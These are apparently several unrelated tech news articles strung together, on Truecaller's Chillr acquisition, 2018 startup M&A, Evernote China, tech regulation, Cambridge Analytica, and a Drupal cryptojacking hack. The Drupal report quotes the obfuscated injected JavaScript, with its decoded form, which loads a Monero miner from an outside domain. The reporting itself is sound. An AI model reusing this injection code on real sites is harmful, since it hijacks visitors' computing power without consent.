Truecaller makes first acquisition to build out payment and financial services in India

Sweden’s Truecaller started out life as a service that screens calls and messages to weed out spammers. In recent times the company has switched its focus to India, its largest market based on users, adding services that include payments to make it more useful. Now Truecaller is putting even more weight behind its India push after it announced its first acquisition, mobile payment service Chillr.

The vision is to go deeper into mobile payments and associated services to turn Truecaller into a utility that goes beyond just handling messages and calls, particularly payments — a space that WhatsApp is preparing to enter in India.

Truecaller doesn’t have WhatsApp -like scale — few companies can match 200 million active users in Indua, but it did recently disclose that it has 100 million daily active users worldwide, while India is its largest country with 150 million registered users.

Truecaller has raised over $90 million from investors to date, according to Crunchbase. TechCrunch reported in 2015 that it was in talks to raise $100 million at a valuation of around $1 billion, but a deal never happened. Truecaller has instead raised capital from Swedish investment firm Zenith. Chillr, which offer payment services between over 50 banks, had raised $7.5 million from the likes of Blume Ventures and Sequoia Capital.

Truecaller isn’t disclosing how much it has paid for the deal, but it said that Chillr’s entire team of 45 people will move over and the Chillr service will be phased out. In addition, Chillr CEO Sony Joy will become vice president of Truecaller Pay, running that India-based payment business which will inherit Chillr’s core features.

“We’ve acquired a company that is known for innovation and leading this space in terms of building a fantastic product,” Truecaller co-founder and CSO Nami Zarringhalam told TechCrunch in an interview.

Zarringhalam said the Truecaller team met with Chillr as part of an effort to reach out to partners to build out an ecosystem of third-party services, but quickly realized there was potential to come together.

“We realized we shared synergies in thought processes for caring for the customer and user experience,” he added, explaining that Joy and his Chillr team will “take over the vision of execution of Truecaller Pay.”

Truecaller added payments in India last year

Joy told TechCrunch that he envisages developing Truecaller Pay into one of India’s top three payment apps over the next two years.

Already, the service supports peer-to-peer payments following a partnership with ICICI Bank, but there are plans to layer on additional services from third parties. That could include integrations to provide services such as loans, financing, micro-insurance and more.

Joy pointed out that India’s banking push has seen many people in the country sign up for at least one account, so now the challenge is not necessarily getting banked but instead getting access to the right services. Thanks to gathering information through payments and other customer data, Truecaller could, with permission from users, share data with financial services companies to give users access to services that wouldn’t be able to access otherwise.

“Most citizens have a bank account (in each household), now being underserved is more to do with access to other services,” he explained.

Joy added that Truecaller is aiming to layer in value-added services over its SMS capabilities, digging into the fact that SMS remains a key communication and information channel in India. For example, helping users pay for items confirmed via SMS, or pay for an order which is tracked via SMS.

The development of the service in India has made it look from the outside that the company is splitting into two, a product localized for India and another for the rest of the world. However, Zarringhalam said that the company plans to replicate its approach — payments and more — in other markets.

“It could be based on acquisitions or partners, time will tell,” he said. “But our plan is to develop this for all markers where our market penetration is high and the market dynamics are right.”

Truecaller has raised over $90 million from investors to date, according to Crunchbase. TechCrunch reported in 2015 that it was in talks to raise $100 million at a valuation of around $1 billion, but a deal never happened. Truecaller has instead raised capital from Swedish investment firm Zenith.

US startups off to a strong M&A run in 2018

With Microsoft’s $7.5 billion acquisition of GitHub this week, we can now decisively declare a trend: 2018 is shaping up as a darn good year for U.S. venture-backed M&A.

So far this year, acquirers have spent just over $20 billion in disclosed-price purchases of U.S. VC-funded companies, according to Crunchbase data. That’s about 80 percent of the 2017 full-year total, which is pretty impressive, considering we’re barely five months into 2018.

If one included unreported purchase prices, the totals would be quite a bit higher. Fewer than 20 percent of acquisitions in our data set came with reported prices.1 Undisclosed prices are mostly for smaller deals, but not always. We put together a list of a dozen undisclosed price M&A transactions this year involving companies snapped up by large-cap acquirers after raising more than $20 million in venture funding.

The big deals

The deals that everyone talks about, however, are the ones with the big and disclosed price tags. And we’ve seen quite a few of those lately.

As we approach the half-year mark, nothing comes close to topping the GitHub deal, which ranks as one of the biggest acquisitions of a private, U.S. venture-backed company ever. The last deal to top it was Facebook’s $19 billion purchase of WhatsApp in 2014, according to Crunchbase.

Of course, GitHub is a unique story with an astounding growth trajectory. Its platform for code development, most popular among programmers, has drawn 28 million users. For context, that’s more than the entire population of Australia.

Still, let’s not forget about the other big deals announced in 2018. We list the top six below:

Flatiron Health, a provider of software used by cancer care providers and researchers, ranks as the second-biggest VC-backed acquisition of 2018. Its purchaser, Roche, was an existing stakeholder who apparently liked what it saw enough to buy up all remaining shares.

Next up is job and employer review site Glassdoor, a company familiar to many of those who’ve looked for a new post or handled hiring in the past decade. The 11-year-old company found a fan in Tokyo-based Recruit Holdings, a provider of recruitment and human resources services that also owns leading job site Indeed.com.

Meanwhile, Impact Biomedicines, a cancer therapy developer that sold to Celgene for $1.1 billion, could end up delivering an even larger exit. The acquisition deal includes potential milestone payments approaching nearly $6 billion.

Deal counts look flat

Not all metrics are trending up, however. While acquirers are doing bigger deals, they don’t appear to be buying a larger number of startups.

Crunchbase shows 216 startups in our data set that sold this year. That’s roughly on par with the pace of dealmaking in the year-ago period, which had 222 M&A exits using similar parameters. (For all of 2017, there were 508 startup acquisitions that met our parameters.2)

Below, we look at M&A counts for the past five calendar years:

Looking at prior years for comparison, the takeaway seems to be that M&A deal counts for 2018 look just fine, but we’re not seeing a big spike.

What’s changed?

The more notable shift from 2017 seems to be buyers’ bigger appetite for unicorn-scale deals. Last year, we saw just one acquisition of a software company for more than a billion dollars — Cisco’s $3.7 billion purchase of AppDynamics — and that was only after the performance management software provider filed to go public. The only other billion-plus deal was PetSmart’s $3.4 billion acquisition of pet food delivery service Chewy, which previously raised early venture funding and later private equity backing.

There are plenty of reasons why acquirers could be spending more freely this year. Some that come to mind: Stock indexes are chugging along, and U.S. legislators have slashed corporate tax rates. U.S. companies with large cash hordes held overseas, like Apple and Microsoft, also received new financial incentives to repatriate that money.

That’s not to say companies are doing acquisitions for these reasons. There’s no obligation to spend repatriated cash in any particular way. Many prefer share buybacks or sitting on piles of money. Nonetheless, the combination of these two things — more money and less uncertainty around tax reform — are certainly not a bad thing for M&A.

High public valuations, particularly for tech, also help. Microsoft shares, for instance, have risen by more than 44 percent in the past year. That means that it took about a third fewer shares to buy GitHub this month than it would have a year ago. (Of course, GitHub’s valuation probably rose as well, but we’ll ignore that for now.)

Paying retail

Overall, this is not looking like an M&A market for bargain hunters.

Large-cap acquirers seem willing to pay retail price for startups they like, given the competitive environment. After all, the IPO window is wide open. Plus, fast-growing unicorns have the option of staying private and raising money from SoftBank or a panoply of other highly capitalized investors.

Meanwhile, acquirers themselves are competing for desirable startups. Microsoft’s winning bid for GitHub reportedly followed overtures by Google, Atlassian and a host of other would-be buyers.

But even in the most buoyant climate, one rule of acquiring remains true: It’s hard to turn down $7.5 billion.

  1. The data set included companies that have raised $1 million or more in venture or seed funding, with their most recent round closing within the past five years.
  2. For the prior year comparisons, including the chart, the data set consisted of companies acquired in a specified year that raised $1 million or more in venture or seed funding, with their most recent round closing no more than five years before the middle of that year.

Evernote is spinning out its Chinese business and it plans to take it public

Here’s a unique approach to Western companies doing business in China. Today, Evernote — the U.S. note-making service — span out its China-based unit into an independent entity with “full autonomy” over its business and services.

Evernote introduced its Yinxiang Biji China-based service in 2012, but now it is transitioning to a minority shareholder with the Chinese management team taking day-to-day control. As part of its move to independence, Yinxiang Biji has raised an undisclosed Series A round from the Sequoia CBC Cross-border Digital Industry Fund.

The terms are not disclosed, but Raymond Tang, CEO of Yinxiang Biji, said ownership of the business is split roughly equally between Evernote, the Chinese investors and the startup’s management team — while Yinxiang Biji itself has raised “several hundred million RMB.” (For comparison, 100 million RMB is roughly $15 million.)

Evernote and Yinxiang Biji have inked a two-year deal that will see them cross-license IP, and Tang and Evernote CMO Andrew Malcolm told TechCrunch in an interview that the duo will continue to work closely. The IP deal could also be extended, according to Malcolm, who added that the spin-out has been a move that he and Tang have discussed since they both joined Evernote in 2015.

Yinxiang Biji claims to have more than 20 million registered users who have created over one billion notes. Tang said that note creation in China per user is 50 percent higher than Evernote’s other customer base, while the business has grown at a 60-percent rate annually.

More broadly, Malcolm said the China entity accounts for some 10 percent of Evernote’s global revenue but he acknowledged that, despite adopting a local strategy since it launched, Yinxiang Biji will have the freedom to push its business harder as an independent entity. That chiefly includes building out features that apply more directly in China, such as social integrations and more.

“Even without having done some of the basics that [Chinese] users would expect, we’ve found product-market fit. How much more impactful could we be if we allowed the Chinese market team to think about their brand, technology and innovation?” he said.

The company has arguably been one of the most successful U.S. tech companies to venture into China — Linkedin, which is mired in some controversy, might be another. Yet still a change is needed since the existing approach “doesn’t satisfy what we have learned about how Chinese users want to use Evernote versus those in the rest of the world,” Malcolm summarized.

That sentiment was echoed by Eric Xu, partner of the Sequoia fund.

“I am convinced that Yinxiang Biji will further unleash its potential and pick up development after the spin-off, as technical and decision-making autonomy is gained and fully localized operations are on the way. Moreover, its business model is a frame of reference for future cross-border Internet partnerships,” Xu said in a supplied statement.

Beyond impact on the service, there is a major business reason, too. The move frees Yinxiang Biji up for a potential listing, which Malcolm and Tang both acknowledged is part of the plan since Chinese financial regulations are strict, including clauses such as two years of profitability. Part of that planned approach includes the new management structure, which makes Yinxiang Biji majority-Chinese owned thus satisfying another regulatory requirement.

“We are very much aware of how far ahead you need to be thinking” in order to go public in China, Malcolm said. “It’s top of our minds when we speak.”

Tang, meanwhile, suggested that the company might look to tap exchanges in Shanghai or Shenzhen, but there’s no immediate timeframe for that at this point. Both executives pointed out that the Chinese market requires a unique approach and, in this case for certain, Evernote is adopting one.

Evernote, once valued at over $1 billion, has been in a period of transition over the last few years after the exit of co-founder and CEO Phil Libin in the summer of 2015. A slew of over executives followed Libin, a ‘changing of the guard’ as perhaps might be expected when a founding member departs. Since then, the company has quietly solidified its business in the years since then under the helm of CEO Chris O’Neill, who previously spent a decade with Google.

Under that context, the Chinese move makes plenty of sense since it happened under the previous Evernote management regime, but it also raises questions about Evernote’s own immediate future, and a potential IPO. The company isn’t saying anything on that now, but it would be quite something if the business unit it set up in China went public before the mothership.

To truly protect citizens, lawmakers need to restructure their regulatory oversight of big tech

If members of the European Parliament thought they could bring Mark Zuckerberg to heel with his recent appearance, they underestimated the enormous gulf between 21st century companies and their last-century regulators.

Zuckerberg himself reiterated that regulation is necessary, provided it is the “right regulation.”

But anyone who thinks that our existing regulatory tools can reign in our digital behemoths is engaging in magical thinking. Getting to “right regulation” will require us to think very differently.

The challenge goes far beyond Facebook and other social media: the use and abuse of data is going to be the defining feature of just about every company on the planet as we enter the age of machine learning and autonomous systems.

So far, Europe has taken a much more aggressive regulatory approach than anything the US was contemplating before or since Zuckerberg’s testimony.

The European Parliament’s Global Data Protection Regulation (GDPR) is now in force, which extends data privacy rights to all European citizens regardless of whether their data is processed by companies within the EU or beyond.

But I’m not holding my breath that the GDPR will get us very far on the massive regulatory challenge we face. It is just more of the same when it comes to regulation in the modern economy: a lot of ambiguous costly-to-interpret words and procedures on paper that are outmatched by rapidly evolving digital global technologies.

Crucially, the GDPR still relies heavily on the outmoded technology of user choice and consent, the main result of which has seen almost everyone in Europe (and beyond) inundated with emails asking them to reconfirm permission to keep their data. But this is an illusion of choice, just as it is when we are ostensibly given the option to decide whether to agree to terms set by large corporations in standardized take-it-or-leave-it click-to-agree documents.  

There’s also the problem of actually tracking whether companies are complying. It is likely that the regulation of online activity requires yet more technology, such as blockchain and AI-powered monitoring systems, to track data usage and implement smart contract terms.

As the EU has already discovered with the right to be forgotten, however, governments lack the technological resources needed to enforce these rights. Search engines are required to serve as their own judge and jury in the first instance; Google at last count was doing 500 a day.  

The fundamental challenge we face, here and throughout the modern economy, is not: “what should the rules for Facebook be?” but rather, “how can we can innovate new ways to regulate effectively in the global digital age?”

The answer is that we need to find ways to harness the same ingenuity and drive that built Facebook to build the regulatory systems of the digital age. One way to do this is with what I call “super-regulation” which involves developing a market for licensed private regulators that serve two masters: achieving regulatory targets set by governments but also facing the market incentive to compete for business by innovating more cost-effective ways to do that.  

Imagine, for example, if instead of drafting a detailed 261-page law like the EU did, a government instead settled on the principles of data protection, based on core values, such as privacy and user control.

Private entities, profit and non-profit, could apply to a government oversight agency for a license to provide data regulatory services to companies like Facebook, showing that their regulatory approach is effective in achieving these legislative principles.  

These private regulators might use technology, big-data analysis, and machine learning to do that. They might also figure out how to communicate simple options to people, in the same way that the developers of our smartphone figured that out. They might develop effective schemes to audit and test whether their systems are working—on pain of losing their license to regulate.

There could be many such regulators among which both consumers and Facebook could choose: some could even specialize in offering packages of data management attributes that would appeal to certain demographics – from the people who want to be invisible online, to those who want their every move documented on social media.

The key here is competition: for-profit and non-profit private regulators compete to attract money and brains the problem of how to regulate complex systems like data creation and processing.

Zuckerberg thinks there’s some kind of “right” regulation possible for the digital world. I believe him; I just don’t think governments alone can invent it. Ideally, some next generation college kid would be staying up late trying to invent it in his or her dorm room.

The challenge we face is not how to get governments to write better laws; it’s how to get them to create the right conditions for the continued innovation necessary for new and effective regulatory systems.

Outdated website software lets hackers mine cryptocurrencies at your expense

An outdated version of Drupal, a popular content management system, let hackers mine the cryptocurrency Monero on over 300 websites including the websites for the “San Diego Zoo and the government of Chihuahua, Mexico.” A report by Troy Mursch outlined how the hack worked and even showed how much processing power browsers began taking up when they pointed at the hacked sites.

The hack uses a form of code injection that forces the browser to run Coinhive, a small bit of Javascript-based mining software. The code mines Monero, the ostensibly anonymous cryptocurrency.

The hacked sites all pointed to a URL – “http://vuuwd.com/t.js” – where Coinhive lived. The browser ran the software and began using up CPU power to mine the coin.

Mursch performed a comprehensive search for potentially affected sites and narrowed things down to about 350 sites, all of them running older versions of Drupal.

“The affected sites varied by hosting providers and countries and no specific one appeared to be targeted. The most unique domains were found in the United States and were hosted by Amazon,” he wrote.

The code appears at the end of jquery.once.js and is still visible on this site. It consists of a single line:

var dZ1= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65"]('\x68\x65\x61\x64')[0]; var ZBRnO2= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]('\x73\x63\x72\x69\x70\x74'); ZBRnO2["\x74\x79\x70\x65"]= '\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74'; ZBRnO2["\x69\x64"]='\x6d\x5f\x67\x5f\x61';ZBRnO2["\x73\x72\x63"]= '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x76\x75\x75\x77\x64\x2e\x63\x6f\x6d\x2f\x74\x2e\x6a\x73'; dZ1["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](ZBRnO2);

Which, deobfuscated, translates to:

'use strict';
var dZ1 = window["document"]"getElementsByTagName"[0];
var ZBRnO2 = window["document"]"createElement";
/** @type {string} */
ZBRnO2["type"] = "text/javascript";
/** @type {string} */
ZBRnO2["id"] = "m_g_a";
/** @type {string} */
ZBRnO2["src"] = "https://vuuwd.com/t.js";
dZ1"appendChild";

The domain it calls, vuuwd.com, is down.

BadPackets has a full list of the hacked websites and, as evidenced by the lines above, it doesn’t seem that many folks are rushing to fix their sites. A canonical list appears here.”

“Notable sites include those of Lenovo, UCLA, DLink (Brazil), and Office of Inspector General of the U.S. Equal Employment Opportunity Commission (EEOC) — a US federal government agency,” wrote Mursch.

Our digital future will be shaped by increasingly mobile technologies coming from China

Since the dawn of the internet, the titans of this industry have fought to win the “starting point” – the place that users start their online experiences.  In other words, the place where they begin “browsing”. The advent of the dial up era had America Online mailing a CD to every home in America, which passed the baton to Yahoo’s categorical listings, which was swallowed by Google’s indexing of the world’s information – winning the “starting point” was everything.

As the mobile revolution continues to explode across the world – the battle for the starting point has intensified.  For a period of time, people believed it would be the hardware, then it became clear that the software mattered most.  Then conversation shifted to a debate between operating systems (Android or iOS) and moved on to social properties and messaging apps where people were spending most of their time. Today – my belief is we’re hovering somewhere in between apps and operating systems.  That being said, the interface layer will always be evolving.

The starting point, just like a rocket’s launchpad, is only important because of what comes after.  The battle to win that coveted position, although often disguised as many other things, is really a battle to become the starting point of commerce.  

Google’s philosophy includes a commitment to get users “off their page” as quickly as possible…to get that user to form a habit and come back to their starting point.  The real (yet somewhat veiled) goal, in my opinion, is to get users to search and find the things they want to buy.

Of course, Google “does no evil” while aggregating the world’s information, but they pay their bills by sending purchases to Priceline, Expedia, Amazon, and the rest of the digital economy.  

Facebook, on the other hand, has become a starting point through it’s monopolization of users’ time, attention, and data.  Through this effort – it’s developed an advertising business that shatters records quarter after quarter.

Google and Facebook, this famed duopoly, represent 89% of new advertising spending in 2017.  Their dominance is unrivaled…for now.

Change is urgently being demanded by market forces – shifts in consumer habits, intolerable rising costs to advertisers, and through a nearly universal dissatisfaction with the advertising models that have dominated (plagued) the US digital economy.  All of which is being accelerated by mobile. Terrible experiences for users still persist in our online experiences, deliver low efficacy for advertisers, and fraud is rampant.  The march away from the glut of advertising excess may be most symbolically seen in the explosion of ad blockers.  Further evidence of the “need for a correction of this broken industry” is Oracle’s willingness to pay $850M for a company that polices ads (probably the best entrepreneurs I know ran this company, so no surprise).

As an entrepreneur, my job is to predict the future.  When reflecting on what I’ve learned thus far in my journey – it’s become clear that two truths can guide us in making smarter decisions about our digital future:

Every day, retailers, advertisers, brands, and marketers get smarter.  This means that every day – they will push the platforms, their partners, and the places they rely on for users to be more “performance driven”.  More transactional.

Paying for views, bots (Russian or otherwise), or anything other than “dollars” will become less and less popular over time. It’s no secret that Amazon, the world’s most powerful company (imho), relies so heavily on its Associates Program (it’s home built partnership and affiliate platform).  This channel is the highest performing form of paid acquisition that retailers have, and in fact, it’s rumored that the success of Amazon’s affiliate program led to the development of AWS due to large spikes in partner traffic.

Chinese flag overlooking The Bund, Shanghai, China (Photo: Rolf Bruderer/Getty Images)

When thinking about our digital future, look down and look east.  Look down and admire your phone – this will serve as your portal to the digital world for the next decade and our dependence will only continue to grow.  The explosive adoption of this form factor is continuing to outpace any technological trend in history.

Now, look east and recognize that what happens in China will happen here, in the West, eventually.  The Chinese market skipped the PC driven digital revolution – and adopted the digital era via the smartphone. Some really smart investors have built strategies around this thesis and have quietly been reaping rewards due to their clairvoyance.  

China has historically been categorized as a market full of knock-offs and copycats – but times have changed.  Some of the world’s largest and most innovative companies have come out of China over the past decade.  The entrepreneurial work ethic in China (as praised recently by arguably the world’s greatest investor Michael Moritz), the speed of innovation, and the ability to quickly scale and reach meaningful populations have caused Chinese companies to leapfrog the market cap of many of their US counterparts.  

The most interesting component of the Chinese digital economy’s growth is that it is fundamentally more “pure” than the US market’s.  I say this because the Chinese market is inherently “transactional”. As Andreessen Horowitz writes – WeChat, China’s  most valuable company, has become the “starting point” and hub for all user actions.  Their revenue diversity – is much more “Amazon” than “Google” or “Facebook” – it’s much more pure.  They make money off the transactions driven from their platform – and advertising is far less important in their strategy.

The obsession with replicating WeChat took the tech industry by storm two years ago — and for some misplaced reason — everyone thought we needed to build messaging bots to compete.  

What shouldn’t be lost is our obsession with the purity and power of the business models being created in China.  The fabric that binds the Chinese digital economy together and has fostered its seemingly boundless growth is the magic combination of commerce and mobile.  Singles Day, the Chinese version of Black Friday, drove $25B in sales on Alibaba – 90% of which were on mobile.

The lesson we’ve learned thus far in both the US and in China are that “consumers spending money” creates the most durable consumer businesses.  Google, putting aside all its moonshots and heroic mission statements, is a “starting point” powered by a shopping engine.  If you disagree, look at where their revenue comes from…

Google’s announcement last week of Shopping Actions and their movement to a “pay per transaction model” signals a turning point that could forever change the landscape of the digital economy.  

Google’s multi-front battle against Apple, Facebook, and Amazon is weighted.  Amazon is the most threatening. It’s the most durable business of the 4 – and it’s model is unbounded on two fronts that almost everyone I know would bet their future on – 1) people buying more online, where Amazon makes a disproportionate amount of every dollar spent and 2) companies needing more cloud computing power (more servers), where Amazon makes a disproportionate amount of every dollar spent.  

To add insult to injury, Amazon is threatening Google by becoming a starting point itself – 55% of product searches now originate at Amazon up from 30% just a year ago.

Google, recognizing consumer behavior was changing in mobile (less searching) and the inferiority of their model when compared to the durability and growth prospects of Amazon, needed to respond.  Google needed a model that supported boundless growth and one that created a “win-win” for its advertising partners – one that resembled Amazon’s relationship with its merchants – not one that continued to increase costs to retailers while capitalizing on their monopolization of search traffic.

Google knows that with its position as the starting point – with Google.com, Google Apps, and Android – it has to become a part of the transaction to prevail in the long term.  With users in mobile demanding less ads, and more utility (demanding experiences that look and feel a lot more like what has prevailed in China) – Google has every reason in the world to look down and to look east – to become a part of the transaction – to take its piece.  

A collision course for Google and the retailers it relies upon for revenue was on the horizon.  Search activity per user was declining in mobile and user acquisition costs were growing quarter over quarter.  Businesses are repeatedly failing to compete with Amazon and unless Google could create an economically viable growth model for retailers – no one would stand a chance against the commerce juggernaut – not the retailers nor Google itself. 

As I’ve believed for a long time, becoming a part of the transaction is the most favorable business model for all parties – sources of traffic make money when retailers sell things – and most importantly – this only happens when users find the things they want.  

Shopping Actions is Google’s first ambitious step to satisfy all three parties – businesses and business models all over the world will feel this impact.  

Good work, Sundar.

Facebook has suspended the account of the whistleblower who exposed Cambridge Analytica

Tech hath no fury like a multi-billion dollar social media giant scorned.

In the latest turn of the developing scandal around how Facebook’s user data wound up in the hands of Cambridge Analytica — for use in the in development in psychographic profiles that may or may not have played a part in the election victory of Donald Trump — the company has taken the unusual step of suspending the account of the whistleblower who helped expose the issues.

In a fantastic profile in The Guardian, Wylie revealed himself to be the architect of the technology that Cambridge Analytica used to develop targeted advertising strategies that arguably helped sway the U.S. presidential election.

A self-described gay, Canadian vegan, Wylie eventually became — as he told The Guardian — the developer of “Steve Bannon’s psychological warfare mindfuck tool.”

The goal, as The Guardian reported, was to combine social media’s reach with big data analytical tools to create psychographic profiles that could then be manipulated in what Bannon and Cambridge Analytica investor Robert Mercer allegedly referred to as a military-style psychological operations campaign — targeting U.S. voters.

In a series of Tweets late Saturday, Wylie’s former employer, Cambridge Analytica, took issue with Wylie’s characterization of events (and much of the reporting around the stories from The Times and The Guardian). 

Meanwhile, Cadwalldr noted on Twitter earlier today she’d received a phone call from the aggrieved whistleblower.

Not cool, Facebook. Not cool at all.

 

Regulators in the UK are also calling for more hearings into Facebook and Cambridge Analytica

As more details emerge about Cambridge Analytica’s use of Facebook data in the U.S. presidential election, members of Parliament in the UK are joining congressional leadership in the U.S. to call for a deeper investigation and potential regulatory action.

The Chair of parliamentary committee investigating “fake news”, the conservative MP Damian Collins, accused both Cambridge Analytica and Facebook of misleading his committee’s investigation in a statement early Sunday morning indicating that both companies would be called in for more questioning.

Alexander Nix denied to the Committee last month that his company had received any data from the Global Science Research company (GSR). From the evidence that has been published by The Guardian and The Observer this weekend, it seems clear that he has deliberately mislead the Committee and Parliament by giving false statements,” Collins wrote in a statement to the press. “We will be contacting Alexander Nix next week asking him to explain his comments, and answer further questions relating to the links between GSR and Cambridge Analytica, and its associate companies.”

On Friday, Facebook announced that it had suspended the account of Cambridge Analytica for violating the social media company’s terms and conditions by obtaining user data from a third party source without users’ permissions.

The announcement, made late Friday night, was designed to preempt reports published by The New York Times and The Guardian that would have exposed the fact that Cambridge Analytica had obtained information on 50 million Facebook users — and that Facebook had known about the improper availability of that user data for two years.

The use or abuse of that data by Cambridge Analytica in work that it had done with Donald Trump’s campaign for President in 2016 and potentially for other businesses in the run up to the election is at the heart of Donal

Before basically verifying the accuracy of the story, Facebook had threatened both The Times and The Guardian with legal action to try and kill it.

The company’s response to the reports aren’t impressing anyone — and could land more than just its chief counsel in the hot seat.

Facebook Chief Legal Officer Colin Stretch

“We have repeatedly asked Facebook about how companies acquire and hold on to user data from their site, and in particular whether data had been taken from people without their consent. Their answers have consistently understated this risk, and have also been misleading to the Committee,” Collins wrote.

He went on to accuse Facebook of “deliberately answering straight questions from the committee” and failing to supply the Committee with evidence relating to “the relationship between Facebook and Cambridge Analytica.” Evidence that had been promised when members of Parliament went to Washington to quiz Facebook about its role in various political campaigns in the UK.

“I will be writing to Mark Zuckerberg asking that either he, or another senior executive from the company, appear to give evidence in front of the Committee as part our inquiry. It is not acceptable that they have previously sent witnesses who seek to avoid asking difficult questions by claiming not to know the answers. This also creates a false reassurance that Facebook’s stated policies are always robust and effectively policed,” Collins wrote.

“We need to hear from people who can speak about Facebook from a position of authority that requires them to know the truth. The reputation of this company is being damaged by stealth, because of their constant failure to respond with clarity and authority to the questions of genuine public interest that are being directed to them. Someone has to take responsibility for this. It’s time for Mark Zuckerberg to stop hiding behind his Facebook page.”

Facebook suspends Cambridge Analytica, the data analysis firm that worked on the Trump campaign

Facebook announced late Friday that it had suspended the account of Strategic Communication Laboratories, and its political data analytics firm Cambridge Analytica — which used Facebook data to target voters for President Donald Trump’s campaign in the 2016 election. In a statement released by Paul Grewal, the company’s vice president and deputy general counsel, Facebook explained that the suspension was the result of a violation of its platform policies. The company noted that the very unusual step of a public blog post explaining the decision to act against Cambridge Analytica was due to “the public prominence of this organization.”

Facebook claims that back in 2015 Cambridge Analytica obtained Facebook user information without approval from the social network through work the company did with a University of Cambridge psychology professor named Dr. Aleksandr Kogan. Kogan developed an app called “thisisyourdigitallife” that purported to offer a personality prediction in the form of “a research app used by psychologists.”

Apparently around 270,000 people downloaded the app, which used Facebook Login and granted Kogan access to users’ geographic information, content they had liked, and limited information about users’ friends. While Kogan’s method of obtaining personal information aligned with Facebook’s policies, “he did not subsequently abide by our rules,” Grewal stated in the Facebook post.

“By passing information on to a third party, including SCL/Cambridge Analytica and Christopher Wylie of Eunoia Technologies, he violated our platform policies. When we learned of this violation in 2015, we removed his app from Facebook and demanded certifications from Kogan and all parties he had given data to that the information had been destroyed. Cambridge Analytica, Kogan and Wylie all certified to us that they destroyed the data.”

Facebook said it first identified the violation in 2015 and took action — apparently without informing users of the violation. The company demanded that Kogan, Cambridge Analytica and Wylie certify that they had destroyed the information.

Over the past few days, Facebook said it received reports (from sources it would not identify) that not all of the data Cambridge Analytica, Kogan, and Wylie collected had been deleted. While Facebook investigates the matter further, the company said it had taken the step to suspend the Cambridge Analytica account as well as the accounts of Kogan and Wylie.

Depending on who you ask, UK-based Cambridge Analytica either played a pivotal role in the U.S. presidential election or cooked up an effective marketing myth to spin into future business. Last year, a handful of former Trump aides and Republican consultants dismissed the potency of Cambridge Analytica’s so-called secret sauce as “exaggerated” in a profile by the New York Times. A May 2017 profile in the Guardian that painted the Robert Mercer-funded data company as shadowy and all-powerful resulted in legal action on behalf of Cambridge Analytica. Last October, the Daily Beast reported that Cambridge Analytica’s chief executive Alexander Nix contacted Wikileaks’ Julian Assange with an offer to help disseminate Hillary Clinton’s controversial missing emails.

In an interview with TechCrunch late last year, Nix said that his company had detailed hundreds of thousands of profiles of Americans throughout 2014 and 2015 (the time when the company was working with Sen. Ted Cruz on his presidential campaign).

…We used psychographics all through the 2014 midterms. We used psychographics all through the Cruz and Carson primaries. But when we got to Trump’s campaign in June 2016, whenever it was, there it was there was five and a half months till the elections. We just didn’t have the time to rollout that survey. I mean, Christ, we had to build all the IT, all the infrastructure. There was nothing. There was 30 people on his campaign. Thirty. Even Walker it had 160 (it’s probably why he went bust). And he was the first to crash out. So as I’ve said to other of your [journalist] colleagues, clearly there’s psychographic data that’s baked-in to legacy models that we built before, because we’re not reinventing the wheel. [We’ve been] using models that are based on models, that are based on models, and we’ve been building these models for nearly four years. And all of those models had psychographics in them. But did we go out and rollout a long form quantitive psychographics survey specifically for Trump supporters? No. We just didn’t have time. We just couldn’t do that.

The key implication here is that data leveraged in the Trump campaign could have originated with Kogan before being shared to Cambridge Analytica in violation of Facebook policy. The other implication is that Cambridge Analytica may not have destroyed that data back in 2015.

The tools that Cambridge Analytica deployed have been at the heart of recent criticism of Facebook’s approach to handling advertising and promoted posts on the social media platform.

Nix credits the fact that advertising was ahead of most political messaging and that traditional political operatives hadn’t figured out that the tools used for creating ad campaigns could be so effective in the political arena.

“There’s no question that the marketing and advertising world is ahead of the political marketing the political communications world,” Nix told TechCrunch last year. “…There are some things which [are] best practice digital advertising, best practice communications which we’re taking from the commercial world and are bringing into politics.”

Responding to the allegations, Cambridge Analytica sent the following statement.

In 2014, SCL Elections contracted Dr. Kogan via his company Global Science Research (GSR) to undertake a large scale research project in the US. GSR was contractually committed to only obtain data in accordance with the UK Data Protection Act and to seek the informed consent of each respondent. GSR were also contractually the Data Controller (as per Section 1(1) of the Data Protection Act) for any collected data. The language in the SCL Elections contract with GSR is explicit on these points. GSR subsequently obtained Facebook data via an API provided by Facebook. When it subsequently became clear that the data had not been obtained by GSR in line with Facebook’s terms of service, SCL Elections deleted all data it had received from GSR. For the avoidance of doubt, no data from GSR was used in the work we did in the 2016 US presidential election.

Under Section 55 of the Data Protection Act (Unlawful obtaining etc. of personal data), a criminal offense has not been committed if a person has acted in the reasonable belief that he had in law the right to obtain data. GSR was a company led by a seemingly reputable academic at an internationally renowned institution who made explicit contractual commitments to us regarding the its legal authority to license data to SCL Elections. It would be entirely incorrect to attempt to claim that SCL Elections

illegally acquired Facebook data. Indeed SCL Elections worked with Facebook over this period to ensure that they were satisfied that SCL Elections had not knowingly breached any of Facebook’s Terms of Service and also provided a signed statement to confirm that all Facebook data and their derivatives had been deleted.

Cambridge Analytica and SCL Elections do not use or hold Facebook data.

Wikipedia wasn’t aware of YouTube’s conspiracy video plan

YouTube has a plan to combat the abundant conspiracy theories that feature in credulous videos on its platform; not a very good plan, but a plan just the same. It’s using information drawn from Wikipedia relevant to some of the more popular conspiracy theories, and putting that info front and center on videos that dabble in… creative historical re-imaginings.

The plan is being criticized from a number of quarters (including this one) for essentially sloughing responsibility about this harmful content on to another, volunteer-based organization. But it turns out that’s not even a responsibility that Wikipedia even know it was taking on.

Wikimedia Foundation exec director Katherine Maher notes that YouTube did this whole thing “independent” of their organization, and an official statement from Wikimedia says that it was “not given advance notice of this announcement.”

Everyone on the Wikimedia side is taking this pretty much in stride, however, expressing happiness at seeing their content used to drive the sharing of “free knowledge,” but it does seem like something that YouTube could’ve flagged in advance before announcing the new feature on stage at SXSW.

Maybe YouTube couldn’t say anything because the Illuminati bound them to secrecy… because of the chemtrails.